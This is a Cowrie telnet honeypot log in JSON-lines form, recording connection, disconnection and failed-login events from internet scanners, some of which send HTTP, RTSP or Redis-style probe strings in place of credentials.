{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":45088,"dst_ip":"159.203.135.109","dst_port":23,"session":"03bc4454f898","protocol":"telnet","message":"New connection: 62.171.135.55:45088 (159.203.135.109:23) [session: 03bc4454f898]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:07.273214Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":45596,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1cb9f3387dc","protocol":"telnet","message":"New connection: 62.171.135.55:45596 (159.203.135.109:23) [session: b1cb9f3387dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:07.449477Z"}
{"eventid":"cowrie.session.closed","duration":31.52505326271057,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:07.788759Z","src_ip":"62.171.135.55","session":"0c0be469a79f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"177.146.132.183","src_port":56309,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d90f7dcc81e","protocol":"telnet","message":"New connection: 177.146.132.183:56309 (10.17.0.5:23) [session: 0d90f7dcc81e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:07.858549Z"}
{"eventid":"cowrie.session.closed","duration":9.890604972839355,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:08.034223Z","src_ip":"35.195.106.231","session":"f6d0d3712cbd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.758437395095825,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:08.063238Z","src_ip":"62.171.135.55","session":"e94368614389","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.613860368728638,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:08.068466Z","src_ip":"62.171.135.55","session":"2200d9f1693f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.205311059951782,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:08.074245Z","src_ip":"62.171.135.55","session":"7edf9fdddb65","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.686105489730835,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:08.077771Z","src_ip":"62.171.135.55","session":"a6ffe9e31dba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.575416088104248,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:08.191570Z","src_ip":"62.171.135.55","session":"77a4f2c08580","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":48454,"dst_ip":"159.203.135.109","dst_port":23,"session":"b4701b4f6da9","protocol":"telnet","message":"New connection: 62.171.135.55:48454 (159.203.135.109:23) [session: b4701b4f6da9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:08.409399Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":48630,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ef9c50634c9","protocol":"telnet","message":"New connection: 62.171.135.55:48630 (159.203.135.109:23) [session: 0ef9c50634c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:08.480412Z"}
{"eventid":"cowrie.session.connect","src_ip":"177.146.132.183","src_port":56327,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c716ed04b80","protocol":"telnet","message":"New connection: 177.146.132.183:56327 (10.17.0.5:23) [session: 1c716ed04b80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:08.554634Z"}
{"eventid":"cowrie.session.closed","duration":31.32414698600769,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:08.765878Z","src_ip":"62.171.135.55","session":"5a904dbb17be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.570165872573853,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:09.096741Z","src_ip":"62.171.135.55","session":"61ef4c09296e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.563160181045532,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:09.198770Z","src_ip":"62.171.135.55","session":"aa7f255295eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":51284,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d557aa6e8a4","protocol":"telnet","message":"New connection: 62.171.135.55:51284 (159.203.135.109:23) [session: 7d557aa6e8a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:09.345706Z"}
{"eventid":"cowrie.session.connect","src_ip":"177.146.132.183","src_port":56349,"dst_ip":"10.17.0.5","dst_port":23,"session":"5dd05c4deed7","protocol":"telnet","message":"New connection: 177.146.132.183:56349 (10.17.0.5:23) [session: 5dd05c4deed7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:09.479321Z"}
{"eventid":"cowrie.session.closed","duration":30.759450435638428,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:11.092690Z","src_ip":"62.171.135.55","session":"0148b5cfcd10","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":57028,"dst_ip":"159.203.135.109","dst_port":23,"session":"168fab5d1b04","protocol":"telnet","message":"New connection: 62.171.135.55:57028 (159.203.135.109:23) [session: 168fab5d1b04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:11.346599Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":58950,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe3c0b0dc454","protocol":"telnet","message":"New connection: 62.171.135.55:58950 (159.203.135.109:23) [session: fe3c0b0dc454]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:11.957324Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":60034,"dst_ip":"159.203.135.109","dst_port":23,"session":"a58e421f52f2","protocol":"telnet","message":"New connection: 62.171.135.55:60034 (159.203.135.109:23) [session: a58e421f52f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:12.356847Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":60076,"dst_ip":"159.203.135.109","dst_port":23,"session":"19e0163eb20d","protocol":"telnet","message":"New connection: 62.171.135.55:60076 (159.203.135.109:23) [session: 19e0163eb20d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:12.376270Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":32904,"dst_ip":"159.203.135.109","dst_port":23,"session":"17e84ccca447","protocol":"telnet","message":"New connection: 62.171.135.55:32904 (159.203.135.109:23) [session: 17e84ccca447]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:12.696581Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":34388,"dst_ip":"159.203.135.109","dst_port":23,"session":"56c7b9170dd5","protocol":"telnet","message":"New connection: 62.171.135.55:34388 (159.203.135.109:23) [session: 56c7b9170dd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:13.273090Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":34638,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b89aa409f04","protocol":"telnet","message":"New connection: 62.171.135.55:34638 (159.203.135.109:23) [session: 7b89aa409f04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:13.374954Z"}
{"eventid":"cowrie.session.closed","duration":30.24769878387451,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:14.090304Z","src_ip":"62.171.135.55","session":"f6d21ab5d6b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":37514,"dst_ip":"159.203.135.109","dst_port":23,"session":"ced657d334ca","protocol":"telnet","message":"New connection: 62.171.135.55:37514 (159.203.135.109:23) [session: ced657d334ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:14.370364Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":37524,"dst_ip":"159.203.135.109","dst_port":23,"session":"846088e231a7","protocol":"telnet","message":"New connection: 62.171.135.55:37524 (159.203.135.109:23) [session: 846088e231a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:14.374535Z"}
{"eventid":"cowrie.session.closed","duration":31.31220293045044,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:14.549880Z","src_ip":"62.171.135.55","session":"0f5ff13a758b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":40202,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e8053e3bb10","protocol":"telnet","message":"New connection: 62.171.135.55:40202 (159.203.135.109:23) [session: 4e8053e3bb10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:15.334505Z"}
{"eventid":"cowrie.session.closed","duration":30.66837191581726,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:16.109114Z","src_ip":"62.171.135.55","session":"a4d147e8428f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.106.231","src_port":12418,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4a74ef51fd6","protocol":"telnet","message":"New connection: 35.195.106.231:12418 (10.17.0.5:23) [session: e4a74ef51fd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:17.609609Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [GET / HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:17.615451Z","src_ip":"35.195.106.231","session":"e4a74ef51fd6","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36","password":"Accept-Encoding: gzip","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36/Accept-Encoding: gzip] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:17.619713Z","src_ip":"35.195.106.231","session":"e4a74ef51fd6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.08922219276428223,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:17.698687Z","src_ip":"35.195.106.231","session":"e4a74ef51fd6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.106.231","src_port":12430,"dst_ip":"10.17.0.5","dst_port":23,"session":"28a7b691b1ea","protocol":"telnet","message":"New connection: 35.195.106.231:12430 (10.17.0.5:23) [session: 28a7b691b1ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:17.773926Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.106.231","src_port":12442,"dst_ip":"10.17.0.5","dst_port":23,"session":"37b4d35ca18b","protocol":"telnet","message":"New connection: 35.195.106.231:12442 (10.17.0.5:23) [session: 37b4d35ca18b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:17.928607Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.106.231","src_port":12458,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b4d2b83176d","protocol":"telnet","message":"New connection: 35.195.106.231:12458 (10.17.0.5:23) [session: 8b4d2b83176d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:18.106467Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.106.231","src_port":12472,"dst_ip":"10.17.0.5","dst_port":23,"session":"7da061a4c8e3","protocol":"telnet","message":"New connection: 35.195.106.231:12472 (10.17.0.5:23) [session: 7da061a4c8e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:18.263901Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.106.231","src_port":12488,"dst_ip":"10.17.0.5","dst_port":23,"session":"1bf5e5aeed2a","protocol":"telnet","message":"New connection: 35.195.106.231:12488 (10.17.0.5:23) [session: 1bf5e5aeed2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:18.421843Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.106.231","src_port":12502,"dst_ip":"10.17.0.5","dst_port":23,"session":"9584c83805b7","protocol":"telnet","message":"New connection: 35.195.106.231:12502 (10.17.0.5:23) [session: 9584c83805b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:18.577891Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.106.231","src_port":12512,"dst_ip":"10.17.0.5","dst_port":23,"session":"75364fb5bd8d","protocol":"telnet","message":"New connection: 35.195.106.231:12512 (10.17.0.5:23) [session: 75364fb5bd8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:18.733560Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.106.231","src_port":12526,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e25b9b34083","protocol":"telnet","message":"New connection: 35.195.106.231:12526 (10.17.0.5:23) [session: 6e25b9b34083]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:18.892370Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.106.231","src_port":12530,"dst_ip":"10.17.0.5","dst_port":23,"session":"c79ef556d155","protocol":"telnet","message":"New connection: 35.195.106.231:12530 (10.17.0.5:23) [session: c79ef556d155]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:19.064462Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.106.231","src_port":12534,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ecf8b994599","protocol":"telnet","message":"New connection: 35.195.106.231:12534 (10.17.0.5:23) [session: 8ecf8b994599]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:19.302375Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.106.231","src_port":12546,"dst_ip":"10.17.0.5","dst_port":23,"session":"da8644c3f26b","protocol":"telnet","message":"New connection: 35.195.106.231:12546 (10.17.0.5:23) [session: da8644c3f26b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:19.468920Z"}
{"eventid":"cowrie.session.closed","duration":0.009612321853637695,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:19.478399Z","src_ip":"35.195.106.231","session":"da8644c3f26b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.106.231","src_port":12548,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd3237f07470","protocol":"telnet","message":"New connection: 35.195.106.231:12548 (10.17.0.5:23) [session: bd3237f07470]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:19.629194Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.106.231","src_port":12560,"dst_ip":"10.17.0.5","dst_port":23,"session":"b57b13e067c2","protocol":"telnet","message":"New connection: 35.195.106.231:12560 (10.17.0.5:23) [session: b57b13e067c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:19.788719Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.106.231","src_port":12576,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ae671f88a98","protocol":"telnet","message":"New connection: 35.195.106.231:12576 (10.17.0.5:23) [session: 6ae671f88a98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:19.952043Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.106.231","src_port":12582,"dst_ip":"10.17.0.5","dst_port":23,"session":"611670f33efb","protocol":"telnet","message":"New connection: 35.195.106.231:12582 (10.17.0.5:23) [session: 611670f33efb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:20.115762Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":55266,"dst_ip":"159.203.135.109","dst_port":23,"session":"a59ea46814b4","protocol":"telnet","message":"New connection: 62.171.135.55:55266 (159.203.135.109:23) [session: a59ea46814b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:20.232851Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":55292,"dst_ip":"159.203.135.109","dst_port":23,"session":"c734c6320cc0","protocol":"telnet","message":"New connection: 62.171.135.55:55292 (159.203.135.109:23) [session: c734c6320cc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:20.244658Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.106.231","src_port":12592,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4f33ed4e69e","protocol":"telnet","message":"New connection: 35.195.106.231:12592 (10.17.0.5:23) [session: f4f33ed4e69e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:20.277777Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.106.231","src_port":12608,"dst_ip":"10.17.0.5","dst_port":23,"session":"722c2339555e","protocol":"telnet","message":"New connection: 35.195.106.231:12608 (10.17.0.5:23) [session: 722c2339555e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:20.438373Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":56208,"dst_ip":"159.203.135.109","dst_port":23,"session":"da9e3db196c9","protocol":"telnet","message":"New connection: 62.171.135.55:56208 (159.203.135.109:23) [session: da9e3db196c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:20.578525Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.106.231","src_port":12618,"dst_ip":"10.17.0.5","dst_port":23,"session":"5115e2384ad4","protocol":"telnet","message":"New connection: 35.195.106.231:12618 (10.17.0.5:23) [session: 5115e2384ad4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:20.603969Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.106.231","src_port":12622,"dst_ip":"10.17.0.5","dst_port":23,"session":"9141a0ff7ed3","protocol":"telnet","message":"New connection: 35.195.106.231:12622 (10.17.0.5:23) [session: 9141a0ff7ed3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:20.769143Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.106.231","src_port":12630,"dst_ip":"10.17.0.5","dst_port":23,"session":"1bc31e88c523","protocol":"telnet","message":"New connection: 35.195.106.231:12630 (10.17.0.5:23) [session: 1bc31e88c523]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:20.929739Z"}
{"eventid":"cowrie.login.failed","username":"*1","password":"$4","message":"login attempt [*1/$4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:20.940507Z","src_ip":"35.195.106.231","session":"1bc31e88c523","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.106.231","src_port":12642,"dst_ip":"10.17.0.5","dst_port":23,"session":"17b57b754dc6","protocol":"telnet","message":"New connection: 35.195.106.231:12642 (10.17.0.5:23) [session: 17b57b754dc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:21.100178Z"}
{"eventid":"cowrie.session.closed","duration":30.41463804244995,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:21.127670Z","src_ip":"62.171.135.55","session":"a0766dcfc1ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.106.231","src_port":12644,"dst_ip":"10.17.0.5","dst_port":23,"session":"36d8af67ba05","protocol":"telnet","message":"New connection: 35.195.106.231:12644 (10.17.0.5:23) [session: 36d8af67ba05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:21.263507Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.106.231","src_port":12646,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f25aa587298","protocol":"telnet","message":"New connection: 35.195.106.231:12646 (10.17.0.5:23) [session: 3f25aa587298]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:21.427443Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.106.231","src_port":12656,"dst_ip":"10.17.0.5","dst_port":23,"session":"1fe8213846be","protocol":"telnet","message":"New connection: 35.195.106.231:12656 (10.17.0.5:23) [session: 1fe8213846be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:21.590471Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.106.231","src_port":12670,"dst_ip":"10.17.0.5","dst_port":23,"session":"6fc46853def9","protocol":"telnet","message":"New connection: 35.195.106.231:12670 (10.17.0.5:23) [session: 6fc46853def9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:21.753417Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.106.231","src_port":12682,"dst_ip":"10.17.0.5","dst_port":23,"session":"27d06279ba0e","protocol":"telnet","message":"New connection: 35.195.106.231:12682 (10.17.0.5:23) [session: 27d06279ba0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:21.916091Z"}
{"eventid":"cowrie.session.closed","duration":0.01566314697265625,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:21.931576Z","src_ip":"35.195.106.231","session":"27d06279ba0e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.106.231","src_port":12688,"dst_ip":"10.17.0.5","dst_port":23,"session":"222238cb78c0","protocol":"telnet","message":"New connection: 35.195.106.231:12688 (10.17.0.5:23) [session: 222238cb78c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:22.088564Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.106.231","src_port":12690,"dst_ip":"10.17.0.5","dst_port":23,"session":"abba11c5ae68","protocol":"telnet","message":"New connection: 35.195.106.231:12690 (10.17.0.5:23) [session: abba11c5ae68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:22.258063Z"}
{"eventid":"cowrie.login.failed","username":"OPTIONS rtsp://example.com RTSP/1.0","password":"Cseq: 8495","message":"login attempt [OPTIONS rtsp://example.com RTSP/1.0/Cseq: 8495] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:22.274293Z","src_ip":"35.195.106.231","session":"abba11c5ae68","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.2715961933136,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:22.885342Z","src_ip":"62.171.135.55","session":"096dd3382e98","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":38358,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b4bda4c9b6b","protocol":"telnet","message":"New connection: 62.171.135.55:38358 (159.203.135.109:23) [session: 2b4bda4c9b6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:24.077985Z"}
{"eventid":"cowrie.session.closed","duration":2.433356523513794,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:24.691288Z","src_ip":"35.195.106.231","session":"abba11c5ae68","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.6183035373687744,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:24.706739Z","src_ip":"35.195.106.231","session":"222238cb78c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.964099407196045,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:24.717222Z","src_ip":"35.195.106.231","session":"6fc46853def9","protocol":"telnet"}
